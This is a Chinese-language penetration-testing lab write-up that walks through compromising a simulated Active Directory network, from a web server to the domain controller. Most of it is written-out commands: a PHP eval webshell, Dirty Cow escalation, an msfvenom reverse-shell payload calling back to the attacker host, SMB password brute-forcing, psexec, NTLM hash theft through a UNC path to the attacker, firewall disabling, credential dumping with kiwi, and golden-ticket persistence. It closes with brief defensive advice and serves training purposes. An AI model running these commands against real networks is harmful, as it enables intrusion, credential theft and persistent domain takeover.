记一次曲折的域渗透
字数 1614 2025-08-06 23:10:24
域渗透实战教学文档
0x01 环境信息
网络拓扑与主机配置
-
CentOS服务器
- IP1: 192.168.1.132 (外网)
- IP2: 192.168.93.100 (内网)
- 服务: Nginx反向代理
-
Ubuntu服务器
- IP: 192.168.93.120
- 服务: 真实Web服务
-
Windows服务器
- Win Server 2012 (域控): 192.168.93.10
- Win Server 2008: 192.168.93.20
- Win 7: 192.168.93.30
-
攻击机
- Kali Linux: 192.168.1.128
0x02 WEB渗透
2.1 端口扫描
使用nmap进行基础端口扫描:
nmap -sS -T4 192.168.1.132
发现开放80端口,访问发现网站服务。
2.2 目录扫描
使用工具如dirsearch或gobuster进行目录扫描:
gobuster dir -u http://192.168.1.132 -w /path/to/wordlist.txt
关键发现:
- 1.php文件:显示phpinfo信息
- README文件:泄露网站版本信息
- configuration.php文件:泄露数据库凭据
2.3 后台登录
发现3306端口开放,尝试使用泄露的数据库凭据远程连接MySQL:
mysql -h 192.168.1.132 -u [用户名] -p[密码] [数据库名]
在am2zu_users表中找到用户凭据。
创建管理员用户技巧:
根据CMS的密码加盐规则,可以创建新用户:
INSERT INTO am2zu_users VALUES(...);
示例创建用户admin123,密码admin。
2.4 Getshell
后台发现文件修改功能,写入一句话木马:
- 位置:templates/beez3/index.php
- 内容:
<?php @eval($_POST['cmd']);?>
使用蚁剑或中国菜刀连接webshell。
2.5 绕过disable_functions
发现命令执行被禁用,查看phpinfo确认disable_functions设置。
绕过方法:
- 使用蚁剑插件绕过
- 使用LD_PRELOAD或其他技术绕过
发现真实Web服务IP为192.168.93.120,CentOS仅作为反向代理。
2.6 远程登录
从MySQL中发现SSH凭据,尝试登录:
ssh username@192.168.93.120
发现是低权限用户,使用脏牛(Dirty Cow)提权:
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
提权后查看用户权限和网络配置。
0x03 后渗透
3.1 上线MSF
- 生成payload:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.128 LPORT=4444 -f elf > shell.elf
- 设置监听:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.1.128
set LPORT 4444
exploit
- 添加内网路由:
run autoroute -s 192.168.93.0/24
- 创建socks代理:
use auxiliary/server/socks_proxy
set VERSION 4a
run
3.2 内网扫描
使用MSF模块扫描内网:
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.93.0/24
set PORTS 445,3389,1433
run
3.3 Win7(192.168.93.30)渗透
- SMB爆破:
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.93.30
set PASS_FILE /root/Desktop/SMB.txt
set SMBUSER administrator
run
爆破出密码:123qwe!ASD
- PSEXEC利用:
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 192.168.93.30
set SMBUser administrator
set SMBPass 123qwe!ASD
run
3.4 Win2008(192.168.93.20)渗透
- MSSQL服务发现:
- 开放1433端口
- 使用之前获得的凭据登录
- NTLM中继攻击:
- 启动Responder伪造SMB服务器:
python Responder.py -I eth0
- 使用MSF触发UNC路径:
use auxiliary/admin/mssql/mssql_ntlm_stealer
set RHOST 192.168.93.20
set GET_PATH \\192.168.1.128\share
run
- 使用john破解捕获的hash:
john --format=netntlmv2 hash.txt --wordlist=rockyou.txt
- 获取命令行:
use exploit/windows/local/payload_inject
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.93.20
set LHOST 192.168.1.128
run
- 开启远程桌面:
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
netsh firewall set opmode mode=disable
- 提权与凭证获取:
- 使用kiwi模块:
load kiwi
creds_all
- 获取域管理员密码:zxcASDqw123!!
3.5 Win2012域控(192.168.93.10)渗透
- 使用获取的域管理员凭据访问:
wmiexec.py domain/administrator:zxcASDqw123!!@192.168.93.10
- 开启远程桌面:
netsh advfirewall set allprofiles state off
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
- 域信息收集:
- 使用PowerView收集域信息:
Get-NetDomain
Get-NetUser
Get-NetComputer
Get-NetGroup
- 使用BloodHound进行域关系分析
- 权限维持:
- 黄金票据创建
- 域控上的SID历史记录添加
- 创建隐藏用户
关键知识点总结
- 信息收集:phpinfo、配置文件、README文件常包含关键信息
- 密码重用:Web应用密码可能在数据库、系统登录中重用
- 横向移动技术:
- SMB爆破与PSEXEC
- MSSQL NTLM中继攻击
- WMI远程执行
- 权限提升:
- Linux: 脏牛漏洞
- Windows: 各种提权技术
- 域渗透技术:
- 凭证获取与重用
- 域信息收集
- 域持久化技术
防御建议
- 加强配置文件保护
- 禁用不必要的服务和端口
- 实施网络分段
- 监控异常登录行为
- 定期更新和修补系统
- 使用强密码策略和双因素认证
- 限制域管理员账户的使用范围